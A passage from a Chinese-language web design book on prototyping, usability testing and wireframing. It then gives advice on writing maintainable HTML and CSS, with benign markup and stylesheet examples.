可以使用多种工具来产生模拟产品行为的高级交互式输出。利用这样的应用程序创建的原型可重用、容易维护，也容易更新。你可以使用诸如PowerPoint或Keynote之类的简单工具，也可以使用诸如Axure、OmniGraffle或Visio之类的更强大的工具。
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Flair Builder的截屏图，它是许多线框创建和原型化软件应用程序中的一种

视觉细节的级别依赖于数字原型的目的和可用的时间。如果你正在把原型展示给客户，那么它可能需要看上去很光鲜。对于用户来说，视觉设计可能与你在纸上原型中看到的相近。如果你时间紧缺，甚至基本的页面结构和简单的交互就足够了。

你可能不希望在Adobe Photoshop或其他图像处理应用程序中给客户展示现实的、经过视觉增强的数字原型，因为客户通常会期望设计效果（或者至少是它的某些部分）与在浏览器中看到的完全一样。事实上，在HTML和CSS中准备实体模型并在客户所选的浏览器中展示它可能更好。由于网站不会跨浏览器完全相同，因此利用本地控件、输入字段等在客户的浏览器中展示原型将使之看起来更现实，从而更熟悉。

此外，由于高还原度的原型的工作方式（通常甚至还包括外观）非常接近最终产品，它会鲜明地传达在设计流程中做出的决策。因此，就像纸上原型一样，可以使用这些数字原型与用户一起进行实时的可用性测试。例如，可以把设计导出为图像，使一些元素在浏览器中可单击，并且立即开始测试。无论何时用户遇到一个问题，都可以在几分钟内快速修改原型，并利用修订的版本继续进行测试。利用线框或纸上原型则不能高效地执行此操作，因为用户认为它不是真实可用的最终产品。


 4.9　测试

一旦原型准备就绪，就应该与用户一起测试它。测试的最容易的方式是创建重要任务的列表，找出网站的目标访客，要求他们执行那些任务，并且在不打断他们或者不提供提示或线索的情况下记录他们的行为。你得到的反馈将使你能够确定用户把任务执行得有多好，以及何时并且更重要的是他们为什么会失败。这些反馈的评估将可以帮助你确定哪些部分需要改进并再次进行测试。重复这个过程，直至你得到了满意的结果。

为了成功地进行可用性测试，应该计划任务并设定它们的优先级。在设定优先级时有两件事要考虑：用户需要做什么以满足客户的业务目标，以及用户需要做什么以实现他们自己的目标。不幸的是，这两件事通常是自相矛盾的，从而会产生对用户不利的结果。

这时，可用性测试就特别有用了。用户场景的示例包括：购买特定的产品，创建账户并查找特定的信息——用户在网站上应该能够成功执行的交互类型。在原型中观察用户交互时，要注意遇到的问题和完成的任务，它们将使你能够自信地做出最重要的设计决策，并在最终的修订期间改善问题。此外，你可能还希望准备一份调查表，以便更好地评估、分析和比较用户的反馈。

测试通过给客户和管理者示范设计在实际中的实际工作（或失败），是一种验证（或反驳）决策的良好方式。事实上，让客户和管理者观察用户与设计的交互是找出产品问题的最好方式。因此，如果用户同意，那么利用视频捕捉测试过程中的会话可能是一个好主意。

当在用户熟悉的设备上和环境中执行测试时，它是最有效的。由于你是以现实的场景为目标的，就要避免会使用户感到环境不适。在令人不适的环境中，让他们全神贯注于完成他们的任务，是不现实的。要调节气氛，使现场情况尽可能接近现实。例如，你可以向用户描述他们将在其中执行手边任务的情况或环境，从而有助于使他们放松下来。

如果你能够在用户的办公室、家里或者他们最喜爱的咖啡馆里执行测试，那么就要注意环境以及是否有任何事情会影响用户的行为。他们的桌子上有什么？有任何会让人分心的事吗？你是在为移动设备从事设计吗？如果是，那么会有许多环境噪声吗？他们能够在步行时执行测试任务吗？这样的因素会影响他们的行为，因此应该告知你的设计决策。

测试完成后，可以对结果进行分析、分组以及评级。由于两个原因使得评级很重要：一些反馈太主观或者有偏见，并且你并不总是能够及时地修正所有问题。基于三个因素设定潜在问题的优先级：频率、影响和持久性。
(10)

 频率与遇到问题的用户数量相关。影响与问题的严重性以及它对用户的任务的影响程度有多大。持久性与问题是否重复发生相关。

一旦设定了问题的优先级，就可以首先重点关注最紧迫的问题。不过，要设置现实的期望：依赖于时间和预算约束，可能需要等待网站启动以后才处理低等级的问题。甚至有可能都不会处理它们，尤其是当客户没有把那些问题视作重要问题时。尽管如此，出于用户的利益考虑，我们还是主张解决这些问题，即使客户不情愿专门投入资源来处理他们认为微不足道的问题。


 4.10　创建线框的正道

回顾一下我们迄今为止介绍的内容，整个流程听起来可能令人感到复杂。我们在构思过程中绘制草图，以及草绘原型。我们可以创建粗略的线框，并且可以测试纸上的图样。我们如何知道哪些技术适合于所面临的情况呢？又怎样区分它们呢？事实是：它们之间的区别并不是那么重要。重要的事情是了解你的工具，并且了解如何以及何时使用它们。如我们所看到的，可以在设计流程中的任何时刻绘制草图。

从草图到高还原度的原型之路是自然的和直观的：通过在开发的每个阶段添加细节，可以更接近成品。但是不要使你自己局限于一种行动方式，不存在一种万能的设计流程，并且确实没有一种普遍适用的创建线框的正道。在某个时刻任何细节级别和任何媒介都可能是正确的。

“不存在高还原度或低还原度这样的事物，只有合适的还原度。”

——Bill Buxton

一些设计师草绘想法，与团队成员一起审查它们，然后利用纸上原型使想法变得更具交互性，再进行迭代。在只利用草图的情况下，小型团队可能非常高效。其他团队（尤其是大型团队或者分布式团队）可能受益于更详细的文档和更高级的流程。

清楚你的草图、线框和原型是为谁创建的也很重要。选择适当的还原度和媒介可以帮助你针对情况充分地传达设计。低还原度的文档适合于构思以及与其他设计师交流。高还原度的文档则适合于详细的规范和客户演示。

最后，选择的工具和技术要适应项目并且与网站的目标保持一致。最有效的工具和技术将允许你正确地传达想法，并通过测试评估它们。

略过线框创建过程可能会产生极端的后果。通过直接跳到Photoshop中并给客户提供准备好实现的实体模型，将会使他们重点关注视觉和美学细节，而不是结构和功能。这样你不仅将不能证明决策是合理的，而且实际上根本不存在可以解决问题的决策。并且以后在流程中执行更改将会困难得多，并且代价高昂得多。

良好的设计是通过一致的迭代以及把解决方案提供给用户进行测试来实现的。工具和技术只是允许设计师完成其目标的手段，成功的设计是理解可以自由使用的各类工具并且能够正确地使用它们的结果。


 4.11　接下来的任务

在执行了测试以及发现并修正了主要问题之后，现在应该使设计变成功能完备的真实产品。这意味着你将需要开发和测试各种特性，并最终启动网站。接下来的步骤依赖于在设计流程期间执行的步骤。如果还没有完成视觉效果，就必须完成它。如果只具有草图和纸上原型，则还必须制作规范或HTML原型。

产品需要得到批准。开发人员将利用单元测试和集成测试来测试代码，以确保每个代码块都能正确工作。质量保证团队将针对他们设计的测试场景验证特性，以确保需求得到满足。

但是最后的批准将来自另外某个人：即用户。在启动网站之后，将会看到用户是否像你所预期的那样在使用它。无论你付出了多大的努力来理解用户，也无论测试进行的多全面，一旦交到用户手中，网站就会具有它自己的生命。运气好的话，访客将会增长，在这种情况下，它们将会以新的、难以预测的方式使用网站。换句话说，你的工作还没有结束。

你将需要收集、研究用户行为，并把它们整合进重新评估过程中，这将揭示一些可以在活跃的网站上改进的区域。通过这个修订过程，将积累一份修正办法、问题以及将在后续版本中引入的潜在新特性的列表。然后将回到开始的地方——白板，这里是新想法诞生、发展、测试和实现的地方。

关于作者
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 5.1　为最终用户开发产品

我们Web开发人员喜欢读的一些出版物常常在欺骗我们。他们谈论的是一个令人惊奇的世界，其中我们可以访问正在构建的系统的各个层次。他们还谈论了另一个世界，其中我们可以轻松地编写尖端的解决方案，因为每个用户都有最酷的新浏览器，并且我们的同事和合作伙伴也像我们在进行整个Web开发时那样备感兴奋和乐于提供线索。

不过，现实稍有点不同。我们的产品不是由个人而是由团队构建的，而团队成员有时分布在多家公司。我们也不会从头开始构建产品；我们代之以扩展或修补较老的产品，或者以框架或现有的解决方案为基础来构建产品。换句话说，我们使用其他人的代码和解决方案，并且必须设法理解它们。反过来讲，以后将会有你所不认识的人不得不访问和更改你的代码。在从事开发时记住这一点很重要。只有你自己知道的每条捷径或者聪明的技巧，在今后将会变成另外某个人的绊脚石。

我们花费了很大一部分时间整理和维护产品，而不是构建使我们的用户生活更轻松的优秀产品。事实就是这样，如果代码难以整理，那么就会在已经很短暂的开发过程中耗尽更多的时间。

如你自己在以前某个时间非常麻烦地扩展或修正的产品，现在，你会发现情况将更加恶化。此时，你将意识到，某件事情一定自始至终都是错误的。

好吧，确实有这样的事情。有一些问题会使良好的解决方案变质并且开始散发出一种难闻的气味，在本章中我们将仔细检查这些问题。在我的职业生涯和代码审查过程中，我总会遇到这些问题，并且我发现，“从一开始就注意到这些问题”使我成为了一名更好的开发人员。

5.1.1　产品变质的原因

我将要提到的任何事情实际上都不令人感到惊讶。作为 Web 开发人员，我们必须应付的主要事情是一个支离破碎、被误解并且在不断变化的世界。五年前的优秀实践现在却得不到人们的认同，由于利用新技术超越极限以及做一些很“酷”的事情的缘故，我们在过去所犯的错误一再重复发生。不过，Web上之所以会存在糟糕的代码，其主要原因并不是由于开发人员在开发过程中的所犯的过错。这是一个管理问题，下面列出了一些导致这个问题的主要原因。

●　要求那些不能胜任为Web编写代码的人做这项工作，因为“它只是软件工程”。

●　要求那些不能胜任设计界面的人使用开包即用的系统，并且“使之更漂亮和现代”。

●　没有给予开发人员足够的时间来构建、整理以及文档化代码——在大多数时间，他们不得不在中途通过编译过程交付产品。

●　要求设计师使用公司颜色和字体，以及添加CEO的照片和音频欢迎消息，而不是花时间确保产品易于导航，并且尽可能快速、令人愉快地把用户指引到他们的目标。

●　Web开发是较大的项目计划的一部分，当计划出错时，切除掉出错的部分（测试、文档、开发维护和构建基础设施）。

●　开发人员自身不擅长估计构建项目所需的时间和资源。

●　开发人员太骄傲，以至于不使用现有的解决方案，而更喜欢反复构建他们自己的……

●　多年来，市场和特定的软件公司使我们相信，手工进行的Web设计和开发是不必要的：你只需一套优秀的软件工具和一些模板，对不对？不过，最终，所有的所见即所得（WYSIWYG）编辑器和聪明的IDE都无法提供我们所需的产品。

除了上面列出的这些之外，有少数几个应该非常明显的错误一再地重复发生，我们现在就将讨论这些错误，首先从对“Web开发是关于什么的”这个重大误解开始。

5.1.2　不要为你自己进行开发

在为Web构建内容时，不是在为你自己而开发，也不是为客户而开发。在大多数情况下，客户也没有关于Web技术的任何建议，而只是想要网站或者应用程序，因为他们的竞争对手拥有这些。

你实际上是在为两组人开发产品：即产品的最终用户和从你手中接管工作的人。你对用户的责任是创建一个可以使用的产品，而不管他们是高手还是菜鸟、所处环境或能力如何；同时你对接手你的项目的开发人员和设计师的责任是，让他们不需要不得已重写或改良你的代码。

迄今为止，在我的职业生涯中选择成为一名Web开发人员的主要原因如下：我尽可能构建最容易、最可靠的解决方案并用文档记录它们，以及解释了人们可以怎样利用新功能扩展它们。我是为维护而开发的，而不是只考虑眼前。

我可能花了数年的时间开发非常酷的、鲜明的、令人惊异的产品，以迎合当前的最新技术，并且在这个过程中留下了一大堆过时的产品。我可能一路上赚到了更多的钱，但坦白地讲，在过去的6年间觉得自己并不喜欢这项工作；我宁愿做一些我想做的事情，并因此而赚到一些钱。

如果你想成为一名专业的Web开发人员或设计师，并且希望得到同行和高手们的尊重，那么就要成为专业人员并且因为你所开发的产品而自豪。你必须要知道，你将不是维护你的产品的人，那个人将不具有与你相同的技能或知识。在大多数情况下，他们将把你的产品弄得一团糟，因此公司没有给维护人员支付足够多的薪水或者对质量要求不高——快速的周转时间更重要。一分钱一分货，事情就是这样的。

在记住这一点之后，确保你不会相信步入正轨的产品在将来会变得一团糟。并且要知道“最新技术”和“最佳实践”极具时效性。

当我开始成为Web开发人员时，有人使用一排透明的GIF开始布局，把一个表格延伸到用于页面的网格中。当浏览器开始支持CSS时，这迅速变得令人讨厌。现在深受热捧的许多事情在不久的将来也将遭遇同样的对待。

让我们详细讨论交付Web产品所需的不同部分以及在处理它们时所要知道的事情。详细地讲，我们将介绍HTML、CSS、JavaScript和后端代码。

5.1.3　屏幕设计和实体模型

我不是设计师，不会假装地知晓优秀设计师必须应对的一切事情，因此我将不会深入讨论这方面的内容。我还知道在涉及成功的产品时，UX极为重要。

可以简单地归咎于设计师“不懂Web”或“异想天开”，但从一定程度上讲，优秀的UX设计师应该考虑到这些。你必须向现状发起挑战，并且提出最容易使用并且看起来令人愉悦的解决方案。这是一项痛苦的任务。

话虽如此，但是有一些观点在Web上根深蒂固，实在是不得不告诉开发人员的令人烦恼的事情。还有少数事情对于开发可维护的或者容易扩展的Web产品确实没有什么帮助。

1．限制元素的数量

例如，如果你设计选项卡式的导航系统，它只使用一定数量的选项卡，那么就把自己置于失败的境地。Web产品在不断增多，总会需要添加另一个区域或者重新排列顺序。

2．限制文本的空间

如果你的设计只允许具有某种字体、某种大小和某种长度的文本，那么就使产品受限于本地。中文、希伯来语、印第安语和阿拉伯文字需要比西文更多的空间以使之可读。像德语和芬兰语这样的语言具有比英语长得多的单词。我近来遇到一个特别喜爱的单词是“安全带警告标志”，它在德语中是“Sicherheitsgurtleuchtanzeige”——试试把它放在一个按钮上。

人们在限制方框的垂直空间时也会犯同样的错误，并且会说你具有只需容纳三个段落的空间。一些语言也需要更长的句子结构以便表达清楚的意思。与其他语言相比，英语的句子结构出奇简单。利用诸如CSS之类的技术，我们能够允许设计师增加内容量以及移动其位置；我们不应该把它视作一件令人烦恼的事情，而应该包容它，并且把它视作一个机会。那些非设计师将会编辑文本，如果具有CMS，你将很幸运，不允许他们选择字体和颜色。限制文本的数量不是一个选项。

3．不存在“在每一种浏览器中看起来完全相同的效果”，除非把网站制作成图像

我们不应该强制让过时的浏览器显示网站最新、最酷的特性，而应该让其有更好的兼容性。文本框在IE6中具有纯蓝色的背景，而具有漂亮的蓝色渐变的圆角阴影框在Webkit浏览器和Firefox中不是错误；它实际上是Web的工作方式。人们不能轻松地为用户量身订做物理产品；但是在Web上可以，并且我们应该利用这个机会，而不是断定它不适用。

4．不应该把很可能会改变的元素制作成图形

手工为标题创建图像毫无意义。你可以与开发人员合作，在服务器上动态地创建图像，但是如果你确实想要灵活性并且构建Web使用的内容，那么就要首选文本。

我非常喜欢能够复制和粘贴文本。我喜欢突出显示某些内容，以使它们更易读。不要让我放弃这些爱好。并且你将不希望为用于发行你的产品的每种语言都不得不创建那些图像。与代码一样，你将希望给将来的维护人员提供他们需要的一切，以改变和增强你的产品。这意味着你应该包括使用过的所有字体以及裁剪过的任何图像的原始版本。

你的原始PSD或AI文件（或者任何其他的图形工具格式）等价于开发人员的源代码。把你的图层组织进有用的文件夹中，并给它们提供有意义的名称。对于只需重复创建一个具有不同大小的按钮的人来说，将以随机顺序列出“未命名图层1”～“未命名图层345”并且每个图层中都有数十个蒙版的PSD文件没有什么用处。

有意义的文件夹和图层名称就像是良好的源代码注释，它们允许维护人员直接到达他们需要到达的位置，而不会把你的工作的余下部分弄得一团糟。


 5.2　HTML

从技术上讲，HTML不是代码——它是标记。你不会利用HTML描述逻辑；它更适合于定义某段文本是什么，或者指向其他数据块，以便让浏览器正确地执行（例如，显示图像、加载和应用样式表中的规则、添加视频或音频等）。这并不意味着我们不能错误地使用HTML；如果出现这种情况，那么Web将成为一个好得多的位置。

我是一名程序员，我喜欢代码工作。在许多情况下，我们只是把HTML元素放在合适的位置并希望它们工作。浏览器充满创意且不那么严格地呈现HTML使得人们也很放松。未经验证的HTML代码也被认为是不错的代码，只要它产生的结果可接受即可。这种类型的开发是短视的并且很危险。你没有为事件的当前状态编写代码；聪明的编码员期望失败，应用工作正常的代码，然后添加一些修正方法以处理当前令人烦恼的事情。在做以下少数几件事情时，HTML可能变得令人困惑并且难以维护：

●　使用HTML实现设计；

●　到处使用类；

●　使用可视的class和id名称；

●　编写不符合语义的HTML；

●　编写脚本相关的标记。

让我们快速检查这些方面，并且看看它们为什么可能会产生问题。

5.2.1　利用HTML绘图

这种实践已困扰我们多年，当浏览器不支持CSS时会变得尤其糟糕。我们使用字体元素，我们在屏幕上居中显示元素，我们在需要线条时添加hr，我们乐于使用b和i来定义文档的某些部分的外观，当然我们还把表格用于布局。

所有这些都是难以处理的问题，因为如果我们想在以后更改外观和感觉，将不得不更改网站上的每一份HTML文档，而不是只更改一个样式表。这既不便于维护，也无助于提高网站的性能。

虽然HTML元素的这种应用已经变得非常少见，我们仍然会利用HTML绘图。当不能应用CSS时，许多非常酷的CSS3解决方案将退化为一串无意义的元素（大多数时间是其上带有id的许多div）。这没有任何意义。如果你只想添加元素以创建某种视觉效果，可以使用JavaScript把它们添加到文档中，或者利用CSS3创建它们。如果在文档中保存任意的HTML以实现某种外观，将来的维护人员就会遇到麻烦，因为当维护人员利用所见即所得的编辑器编辑文档时，内容管理系统可能会剥除它们。

HTML不是可以绘图的画布，它是一种描述不同的文本块以及指示何时呈现交互式元素（如表单、视频和音频）的方式。

5.2.2　过度使用Class

“类癖”现在相当常见，人们不是只为了使某些元素脱颖而出而应用Class（类），而是倾向于给页面上的每个元素都添加一个Class，大多数时间都给它提供一个句柄，以便jQuery展示其神奇的魔力。

这很容易做到，但是它会带来与利用HTML绘图相同的维护问题。如果Class名在将来发生改变，将不得不在多个文档上执行大量的查找和替换操作。从CSS的角度讲它也是没有意义的。例如，如下所示的清单就过度地使用了Class。


<ul class="shopping-list first">
  <li class="list-item">Cucumbers</li>
  <li class="list-item">Bananas</li>
  <li class="list-item important">Toilet Paper</li>
  <li class="list-item">Deodorant</li>
  <li class="list-item">Cotton Swabs</li>
  <li class="list-item">Duct Tape</li>
  <li class="list-item">Screwdriver</li>
</ul>


对元素应用Class的主要规则如下：添加一个类标示出奇特的元素，并且把尚未在逻辑上组合在一起的元素的组合起来。除此之外，就是在做错事。上面的示例应该如下所示。


<ul class="shopping-list first">
  <li>Cucumbers</li>
  <li>Bananas</li>
  <li class="important">Toilet Paper</li>
  <li>Deodorant</li>
  <li>Q-Tips</li>
  <li>Duct Tape</li>
  <li>Screwdriver</li>
</ul>


无需使用.shopping-list.list-item编排元素的样式，只需使用.shopping-listli即可。利用.shopping-list li.important 修改重要的元素，然后不必担心.important相对于.list-item的Class专一性。JavaScript选择器也适用相同的规则：总而言之，编写的代码要少得多，也快得多。要学习如何编写利用文档的层次结构的聪明的CSS代码。不要使HTML成为CSS的传播媒介，因为维护人员也许不能理解你在尝试实现什么。

5.2.3　可视的class和id名称

基于视觉表现的class和id名称意味着开发者还没有理解CSS，也没有意识到CSS是经常改变的，或者开发者根本没有花心思去让自己的代码具有可读性，而只是草草地修改了代码，然后在他的bug单上把状态改为“已解决”。

●　green Message；

●　large Box Right；

●　bold Headline Arial 14px663366right（真的，我在某产品的代码中见过这个名称）；

●　orange Heading；

●　red Intro Text。

所有这些都使代码难以维护，并且可能引起混淆，例如，如果必须在将来把橙色的标题改为绿色，那么最终将不得不搜索橙色以改成绿色，这是极其愚蠢的。

所有的class和id名称都应该合乎逻辑地描述事物是什么，而不是它们看起来像什么样子。在网站的下一次更新中上面的large Box Right 示例可以非常好地转变成lean Sidebar，因此可以用更有意义的名称来命名它，也许是breakout或instructions。green Message类可能应该是confirmation，red Intro Text则可能是warning或error（或者，如果介绍性文本默认情况下确实是红色的并且并没有打算标记错误，那么intro就足够了）。

这样做的原因很明显：在更改设计时应该不必修改HTML；而只需更改CSS属性的值。利用普通的具有语义描述性的类名称，就为将来的改变做好了准备。这并不意味着永远也不能使用可视的类名称。例如，如果你有一个向元素添加圆角的脚本或类，并且希望将来的维护人员能够轻松地添加和删除圆角，那么名为rounded的类就是有意义的。可以在CSS中定义视觉效果的集合，并且像这样应用和删除它们。

5.2.4　不符合语义的HTML

另一个大问题是：人们使用不符合语义的HTML来定义HTML已经完美地定义了的事物。我们将讨论如下所示的怪异的构造。


<span class="link">Click here to continue</span>
<div id="mainheading">Welcome to our awesome website</div>
<span class="label">Enter name:</span><input type="text" name="name" id="name">
<div class="button rounded gradient" id="but1">Send form</div>
<span class="headline">Pachyderms</span><span class="sub-head-line">Elephants</span>


人们由于以下任何原因之一而这样做：

（1）他们不理解HTML；

（2）他们正在使用由那些不理解HTML的人编写的框架或系统；

（3）他们不知道在什么位置使用某些页面元素。

第一个原因没有任何借口。市场上的许多开发人员都喜爱编写HTML，如果你想开发Web产品，就应该雇佣他们中的至少一位。如果你的抽水马桶需要修理，就不要雇佣砖匠——而要雇佣水管工人；否则，最终将得到齐膝深的脏水，你懂的。对于Web产品也是如此。

第二个原因（即处理由那些不理解HTML的人编写的代码）是可以理解的，但是仍然令人羞愧。框架开发人员应该与优秀的前端开发人员合作，以提交切合实际的HTML。

使用span代替标签将导致效率低下。标签可以提供可点击的文本，可以利用它们使表单元素成为焦点，以及提供对辅助技术的内置支持；利用span，将需要编写出这种功能。

最后一个原因最能被人们理解。像现在这样，如果你想把文档切分成可重用的组件并以任意顺序排列它们，那么HTML就是一种极其糟糕的语言。标题的首要地位使得这几乎不可能；并且由于CSS规则是沿着文档树向下继承的，它们将把构件弄得一团糟，除非你狂热追求专一性或者把构件嵌入在iframes中。HTML5具有少数几个用于此任务的不同方法，并且它使之更容易，例如，利用一个锚点元素链接标题、段落等——在HTML4中，将不得不为此使用JavaScript。

不过，没有任何借口故意编写上面所示的令人厌恶的HTML。HTML具有非常合乎逻辑的、有用的元素用于不同的工作：标题把文档切分成单元，按钮在后端启动功能或者调用脚本，表单元素（包括字段集和图例）用于组织表单以及使它们可以被各类输入设备访问。

利用JavaScript，可以把任何元素转变成按钮，并使得它可以在用户与之交互时执行相应的操作。但是当HTML已经在做工作时为什么还要麻烦地多此一举呢？在大多数情况下，只需作者选择一个HTML引用并找到适当的元素。

5.2.5　依赖脚本的元素

代码变质的问题以后会日益严重，并且人们这样做的原因仍然使我感到困惑。如果一个HTML元素仅当它激活某种JavaScript功能时才有意义，那么就要用JavaScript创建它。对于那些仅当对它们应用某个CSS规则时才看起来很漂亮的元素也是如此。利用JavaScript，把代码注入到文档中是非常容易的；利用CSS，可以使用内容创建做同样的事情。在IE中几乎不支持后者，因此从技术上讲，JavaScript仍然是更安全的。

至于为什么有人要手工利用某些类编写许多div和span然后增强它们使之成为不同的事物，并没有合乎逻辑的解释。这样做的话，你把代码维护分布在HTML和脚本两个不同的地方，这意味着迟早有人会捅娄子。如果某些HTML仅当脚本可用时才有意义，那么使用JavaScript激活它就可以确保无论是谁更改了HTML，他也不得不至少查看一下JavaScript。

HTML是最低级的公共标准-它应该适合于每一个人。当我在公司的BlackBerry上单击某个按钮并且没有任何事情发生时，我会感到灰心丧气。当我使用智能手机中的输入框不能很好地使用时，那么我将不能登录网站。如果发生任何类型的错误、JavaScript停止并且你的界面变得不能用，那么你将使最终用户感到灰心丧气，而你是从这些人身上赚钱的，他们也会告诉其他人你的产品不好用。但是，如果你生成只在JavaScript中才依赖于JavaScript的任何内容，那么当错误发生时，最终用户仍将获得有用的界面-虽然不是那么漂亮，也不怎么酷-但也不会感到灰心丧气。这是明摆着的事情。

在开发期间，用HTML来实现依赖JavaScript的人代码是没有问题的。不过在发布之前，要把这些HTML变成简单的生成脚本，开发者和用户都会感到更高兴。

5.2.6　编写无法通过验证的HTML

HTML验证是否有必要一直存有争议，因此我们不会太深入地讨论它。关于验证代码的要点是具有良好的起点：你知道它应该工作，因此如果有什么出错了，那么你将知道代码不是出错的原因。编写无效的HTML的主要原因是实现浏览器可以提供的功能并且它是有意义的，但它不是HTML规范的一部分。WAI-ARIA
(1)

 是一个良好的示例：给元素添加少数几个额外的属性，突然你就有了更容易访问的文档，因为浏览器能够告诉辅助技术（如屏幕阅读器），文档具有比看到的更多内容。

不过，你将发现人们之所以编写无效的HTML，只是因为他们能够这样做。浏览器不会抱怨无效的HTML（但是它们不会显示无效的XML，这使得它们不一致）；它们将代之以修复不正确的嵌套，并忽略无效的属性。有时，你会发现人们故意编写不正确的HTML，因为仅当他们不正确地编写HTML时，一种浏览器在某种或另一种配置下才会以正确的方式实现功能。这导致了如下几点问题。

●　你依赖于浏览器校正自己做错的事情（顺便说一下，这需要良好的运气）。

●　你需要向维护人员解释为什么你要这样做以及它意味着什么。

●　你极有可能不得不修正或改进你为其他浏览器所做的事情，并且每当有新浏览器推出时都不得不这样做。

●　如果另一位开发人员在将来由于你所做的事情看起来好像是错误的而撤消了它，不要感到惊讶。


 5.3　CSS

CSS（以及人们处理它的方式）是一种奇特的现象。多年来，我们一直在抱怨浏览器对CSS的支持是多么欠缺或随意。我们的许多开发人员同僚没有选择支持CSS，而是认为不能使用的而抛弃了它，并且渴望“应用布局表格的简易性”。好吧，CSS最终盛行起来，这是一件好事。把文档的外观和感觉与其结构分隔开使得非常容易跨网站更改设置，而不必更改数以千计的文档。

CSS不难学习，其语法实际上出奇容易。许多人所不知道的一点是，CSS旨在弥补其他Web技术，而不是代替它们。许多用于不同问题的“仅CSS”的解决方案都在以下少数几个方面功亏一篑：键盘可访问性、触摸屏可访问性
(2)

 （例如，在我的智能手机上不能使用悬停菜单）和总体的用户控制。

CSS是一种一次性状态。你可以应用它，然后希望一切顺利。利用JavaScript，可以测试你所应用的实际上呈现为什么样子，并且可以在运行某种效果之前测试是否为它提供了足够的空间。例如，在CSS中利用：hover显示和隐藏面板时，不能先测试它是否将能够在屏幕中放得下，还是将导致水平滚动条。在JavaScript中，可以读取鼠标位置、视窗的宽度和面板的宽度，并因此在显示它之前把它移向（比如说）左边。CSS中没有if()语句。
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许多“仅CSS”的解决方案在少数几个方面功亏一篑。触摸屏可访问性就是一个良好的示例：不能在智能手机上使用悬停菜单。在TrentWallton的文章“Non-Hover”中讨论了这个问题

利用媒体查询和某些浏览器实现动画和渐变的方式，CSS在这个方向上有所进展，但是最终它确实只是在模仿JavaScript。使用良好的JavaScript库和一些CSS，可以立即并且跨浏览器实现所有这些效果。

基本上，编写糟糕的CSS是指：

●　不覆盖浏览器的默认样式；

●　使用错综复杂的语法；

●　不假分析地添加CSS；

●　选择器针对性太强；

●　使用特定于浏览器的技巧和技术。

让我们更详细地讨论上述每个问题。

5.3.1　不覆盖浏览器默认样式

不存在诸如未编排样式的页面之类的事物，因为浏览器已经具有用于呈现HTML文档的预定义的样式。问题是，每种浏览器都有不同的样式，这意味着如果你想要定义好的外观和感觉，那么将需要重写浏览器自动添加的各类设置。

为了解决这个问题，可以使用CSS重置文件。在其最简（仍极具争议）形式中，这意味着向文档中添加*
 {margin:0;padding:0}，以重写浏览器应用于元素的任何边距和填充。如果你希望具有更干净、更先进的解决方案，可以使用预定义的CSS重置样式表，比如Yahoo User Interface CSS Reset
(3)

 ，甚至可以通过添加一个fonts.css文件重置浏览器应用的所有字体大小。
(4)
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Yahoo User Interface库包含多个CSS模板：其中之一是CSS Reset Style Sheet。

重置不仅意味着重写浏览器的默认设置，而且意味着重新开始使用新的外观和感觉，并且在不需要的地方将不必对元素设置边距和填充。

5.3.2　使用错综复杂的语法

CSS具有奇妙的快捷表示法，可以使代码保持短小和简单。它也被设置成使人们不必搜寻特定的设置。因此，在为元素定义属性时，要把它保存在一个位置，而不要拆分开。例如：


#pagetitle {
  color: black;
  text-align: left;
  border-top-width: 2px;
  border-top-color: black;
  padding-left: 2em;
  border-right-color: white;
  border-left-width: 2px;
  border-top-style: solid;
  border-left-color: black;
  border-bottom-width: 2px;
  line-height: 1.3em;
  position: absolute;
  border-right-style: solid;
  right: 0;
  padding-right: 2em;
  padding-bottom: 1em;
  width: 30em;
  border-bottom-style: solid;
  border-bottom-color: white;
  top: 10em;
  border-left-style: solid;
  padding-top: 1em;
  height: 3em;
  border-right-width: 2px;
}


维护它可能很困难。例如，边框属性散布在各个位置，并且不必要地啰唆。方框的定位和度量尺寸也是如此。通过从逻辑上对它们进行排序并且使用边框快捷表示法，可以使之要容易许多。这里的规则是预先设置所有的一切，然后只重写那些需要改变的部分。


#pagetitle {
  color: black;
  text-align: left;
  line-height: 1.3em;
  border: 2px solid white;
  border-color: black white white black;
  padding: 1em 2em;
  position: absolute;
  top: 10em;
  right: 0;
  width: 30em;
  height: 3em;
}


利用这段代码，就为整个方框把边框定义为纯白色，然后定义各条边的颜色（这是唯一发生改变的方面）。颜色是从上边开始沿顺时针方向定义的，因此定义顺序是：上、右、下、左。填充的定义也是如此。如果你希望对左边和右边以及对上方和下方应用相同的值，可以采用快捷方式，即把前者定义为一个值并把后者定义为另一个值。此外，通过按字体、边框、位置和度量尺寸对设置进行排序，可以使一切都易于查找。

你要做的另一件事是把共同特点移到它们特定的选择器之外并核对它们。例如：


h1 {
  font-family: helvetica,arial,sans-serif;
  color: #000;
  margin: .5em 0;
  padding: 1em;
  font-size: 150％;
  background: #ccc;
}
h2 {
  font-family: helvetica,arial,sans-serif;
  color: #000;
  font-size: 120％;
  margin: .5em 0;
  padding: 1em;
  background: #999;
}
h3 {
  font-family: helvetica,arial,sans-serif;
  color: #000;
  margin: .5em 0;
  font-size: 110％;
  padding: 1em;
  background: #666;
}
h4 {
  font-family: helvetica,arial,sans-serif;
  color: #000;
  margin: .5em 0;
  font-size: 105％;
  padding: 0;
}


这有些啰唆，因为一些值是重复的。同样，定义许多值，然后重写你所需要的值。


h1,h2,h3,h4,h5,h6 {
font-family: helvetica,arial,sans-serif;
  color: #000;
  margin: .5em 0;
  padding: 1em;
}
h1 {
  font-size: 150％;
  background: #ccc;
}
h2 {
  font-size: 120％;
  background: #999;
}
h3 {
  font-size: 110％;
  background: #666;
}
h4 {
  font-size: 105％;
  padding: 0;
  background: transparent;
}


现在，可以在一个位置更改所有标题的设置。注意：对于h4，我们必须重写默认的设置，因为没有背景或填充。通过分析CSS，可以显着缩短它，并且使之更容易维护。

5.3.3　不假分析地添加CSS

导致大规模并且难以维护的CSS文件的最重要的原因是：人们不是浏览文件以找到更改某些代码的位置，而是简单地添加更多的属性直到最后。大多数时候，他们会包括进具有极高专一性的选择器，以确保新样式会被应用。你经常会在CSS文件的末尾发现如下所示的代码：


#main #content .entry p span { color: #999; }
#nav ul li.entry a.sitelink span.current { font-family: arial;}


仔细检查CSS文件以找到一个要更改的设置，然后在更改它时等待查看发生了别的什么事情，这可能令人畏缩不前。当网站规模很大并且很复杂时尤其如此。你可能删除一个似乎是多余的选择器，只是为了发现页面的另外某个区域需要它。

使用诸如Firebug和Web Development Tools之类的浏览器调试工具，可以查看应用于某个元素的样式以及它们来自于何处，使你能够在源中更改它们。还有一些工具用于确定孤立的CSS设置
(5)

